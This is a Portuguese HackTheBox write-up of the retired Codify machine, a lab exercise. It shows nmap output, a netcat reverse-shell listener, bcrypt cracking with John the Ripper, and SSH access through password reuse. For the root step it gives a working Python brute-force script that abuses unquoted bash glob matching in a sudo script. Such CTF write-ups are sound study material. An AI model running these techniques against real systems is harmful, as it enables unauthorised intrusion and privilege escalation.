HackTheBox - Writeup Codify [Retired]
Guilherme Martins
Posted on April 6, 2024
Hackthebox
Neste writeup iremos explorar uma máquina linux de nível easy chamada Codify que aborda as seguintes vulnerabilidades e técnicas de exploração:
- NodeJS SandBox Escape
- Bad Practice with password re-use
- Bash conditional abuse
Recon e user flag
Iremos iniciar realizando uma varredura no ip do alvo em busca de portas abertas utilizando o nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify]
└─# nmap -sV --open -Pn 10.129.67.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-06 14:59 EST
Nmap scan report for 10.129.67.147
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
3000/tcp open http Node.js Express framework
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Existem três portas abertas no host:
- 22 é a porta do ssh,
- 80 esta rodando um Apache, que é um servidor web,
- 3000 esta rodando um aplicação em NodeJS, que é um framework para javascript.
Também temos o retorno do host utilizado (codify.htb), vamos adicionar em nosso /etc/hosts.
Acessando a porta 80 através do navegador temos um site que emula uma sandbox para testar código em NodeJS:
Clicando em Try it now somos redirecionados para o endpoint /editor:
Onde podemos executar códigos utilizando nodejs. E aqui encontramos nossa primeira vulnerabilidade.
No terminal vamos utilizar o netcat para ouvir na porta 9001:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify]
└─# nc -nvlp 9001
listening on [any] 9001 ...
E no editor vamos adicionar o seguinte código:
Dessa forma ao clicarmos em Run temos o seguinte retorno em nosso netcat:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.162] from (UNKNOWN) [10.129.67.147] 52094
bash: cannot set terminal process group (1238): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$
Conseguimos um shell como usuário svc!
Este usuário não possui a user flag, sendo necessário realizar uma movimentação lateral para outro usuário. Neste caso o usuário é joshua:
svc@codify:~$ ls -alh ..
ls -alh ..
total 16K
drwxr-xr-x 4 joshua joshua 4.0K Sep 12 17:10 .
drwxr-xr-x 18 root root 4.0K Oct 31 07:57 ..
drwxrwx--- 3 joshua joshua 4.0K Nov 2 12:22 joshua
drwxr-x--- 4 svc svc 4.0K Sep 26 10:00 svc
Podemos notar alguns serviços interessantes rodando no servidor e entender mais a fundo o funcionamento da aplicação em nodejs.
www-data 1167 0.0 0.1 1248900 5968 ? Sl 19:57 0:00 /usr/sbin/apache2 -k start
www-data 1168 0.0 0.1 1249032 6632 ? Sl 19:57 0:00 /usr/sbin/apache2 -k start
root 1233 0.0 2.0 1614296 79860 ? Ssl 19:57 0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
svc 1238 0.4 1.4 643260 58900 ? Ssl 19:57 0:06 PM2 v5.3.0: God Daemon (/home/svc/.pm2)
svc 1256 0.3 1.5 654004 62572 ? Sl 19:57 0:04 node /var/www/editor/index.js
svc 1257 0.2 1.5 653800 62548 ? Sl 19:57 0:04 node /var/www/editor/index.js
svc 1273 0.2 1.5 653800 62460 ? Sl 19:57 0:04 node /var/www/editor/index.js
svc 1277 0.2 1.5 653864 62032 ? Sl 19:57 0:04 node /var/www/editor/index.js
svc 1463 0.3 1.5 654212 62852 ? Sl 19:57 0:05 node /var/www/editor/index.js
root 1564 0.0 0.0 2888 956 ? Ss 19:57 0:00 /bin/sh /root/scripts/other/docker-startup.sh
root 1565 0.2 0.8 190444 33940 ? Sl 19:57 0:03 /usr/bin/python3 /usr/bin/docker-compose -f /root/scripts/docker/docker-compose.yml up
root 1634 0.0 0.0 1082092 2892 ? Sl 19:57 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306
root 1653 0.0 0.3 722280 12232 ? Sl 19:57 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f88b314ed6a4f84693267bda194d6266bdde5798ef5ccd082109b2566fda07f8 -address /run/containerd/containerd.sock
lxd 1673 0.0 2.5 1209952 101224 ? Ssl 19:57 0:00 mariadbd
svc 1885 0.2 1.4 644132 59364 ? Sl 20:11 0:01 node /var/www/editor/index.js
Temos um apache rodando que esta servindo de proxy reverso para a aplicação nodejs na porta 3000.
Também temos um docker rodando que possui um container para o banco de dados na porta 3306, que se trata de um MariaDB. Que é um MySQL open source.
Com essas infos temos diversos pontos para buscar formas de movimentação lateral e também escalação de privilégios.
Vamos analisar os arquivos da aplicação buscando encontrar algum dado sensível exposto.
Dentre os arquivos que chamaram a atenção se encontra o tickets.db:
svc@codify:/var/www/contact$ ls -lah
ls -lah
total 120K
drwxr-xr-x 3 svc svc 4.0K Sep 12 17:45 .
drwxr-xr-x 5 root root 4.0K Sep 12 17:40 ..
-rw-rw-r-- 1 svc svc 4.3K Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 76K Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4.0K Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20K Sep 12 17:45 tickets.db
Esse é um arquivo sqlite utilizado pela app. Vamos realizar o download do mesmo e abrir utilizando o sqlite database browser.
E aqui podemos encontrar a seguinte informação:
Se trata de um hash para a senha do usuário joshua! Vamos salvar esse hash em um arquivo e utilizar o John The Ripper para quebrá-la:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/codify]
└─# john -w=/usr/share/wordlists/rockyou.txt joshua-hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
1g 0:00:00:39 DONE (2023-11-06 15:27) 0.02550g/s 34.88p/s 34.88c/s 34.88C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Com essa senha encontramos outra má prática, que é reutilizar a senha em mais de um local. Pois com essa senha conseguimos acesso ssh com o usuário joshua e assim a user flag:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/codify]
└─# ssh joshua@codify.htb
The authenticity of host 'codify.htb (10.129.67.147)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'codify.htb' (ED25519) to the list of known hosts.
joshua@codify.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Nov 6 08:28:47 PM UTC 2023
System load: 0.0087890625
Usage of /: 69.1% of 6.50GB
Memory usage: 20%
Swap usage: 0%
Processes: 237
Users logged in: 0
IPv4 address for br-030a38808dbf: 172.18.0.1
IPv4 address for br-5ab86a4e40d0: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.67.147
IPv6 address for eth0: dead:beef::250:56ff:fe96:3567
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
joshua@codify:~$ ls -a
. .. .bash_history .bash_logout .bashrc .cache .profile user.txt .vimrc
joshua@codify:~$ cat user.txt
fd3367ba0f1f94ea8b5634db1e5bd2c0
Escalação de privilégios e root flag
Iremos iniciar visualizando as permissões que o usuário joshua possui:
joshua@codify:~$ sudo -ll
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
Sudoers entry:
RunAsUsers: root
Commands:
/opt/scripts/mysql-backup.sh
Utilizando o comando sudo com a flag -ll conseguimos ver com mais detalhes as permissões de sudo que o usuário possui.
O usuário pode executar o script /opt/scripts/mysql-backup.sh com permissões de root. Vamos analisar o script:
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Aqui vemos que precisamos informar uma senha que bata com o conteúdo de /root/.creds, para que o script seja executado.
Podemos constatar que a ideia é descobrir a senha e que ela seja a mesma do usuário root, pois a execução do script em si somente filtra removendo os bancos information_schema e performance_schema, de forma que os demais tenham um backup efetuado através do comando mysqldump.
Analisando o código bash encontramos uma vulnerabilidade na condicional que realiza a comparação entre a senha fornecida pelo input do usuário e a senha que consta no arquivo do usuário root.
Ocorre que quando o operador do lado direito dentro do duplo colchete não esta entre aspas o bash realiza uma combinação por padrões, conhecido como pattern matching. Ou seja, você não precisa passar o valor exato, somente um valor que seja verdadeiro.
Por exemplo, se a senha for hackthebox, se você informar o valor hack* o mesmo será aceito.
Com isso podemos tentar buscar a senha através de brute force!
Podemos realizar um teste rápido para validar nossa teoria. Criamos um arquivo contendo todos os caracteres ASCII através do seguinte comando:
for ((i=32;i<127;i++)) do printf "\\$(printf %03o "$i")"; done;printf "\n" > ascii.txt
Com o arquivo em mãos podemos realizar um simples brute force:
joshua@codify:~$ for i in $(cat ascii.txt); do echo "$i*" | sudo /opt/scripts/mysql-backup.sh - && echo $i; done
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
?
Password confirmation failed!
Agora temos um padrão, quando a senha o valor ascii é inválido retorna “Password confirmation failed!” e quando é válido retorna “Password confirmed!”.
Com isso podemos criar um script que quando recebe o retorno de senha válida adicionar numa lista, assim printando a lista!
Podemos criar utilizando python para facilitar, uma vez que ele ja possui uma forma mais simples de gerar os caracteres em ascii.
Resultando no seguinte script:
import string
import subprocess
all_ascii = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_ascii:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
E ao executar temos o seguinte retorno:
joshua@codify:~$ python3 brute.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
Com o resultado em mãos podemos escalar privilégios para root e buscar a root flag!
joshua@codify:~$ su root
Password:
root@codify:/home/joshua# ls -a /root/
. .. .bash_history .bashrc .creds .local .mysql_history .profile root.txt scripts .ssh .vimrc
root@codify:/home/joshua# cat /root/root.txt
1e36b6429f527ac7327a8eb4a4fa57a5
Finalizando assim a máquina Codify!!
Posted on April 6, 2024
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.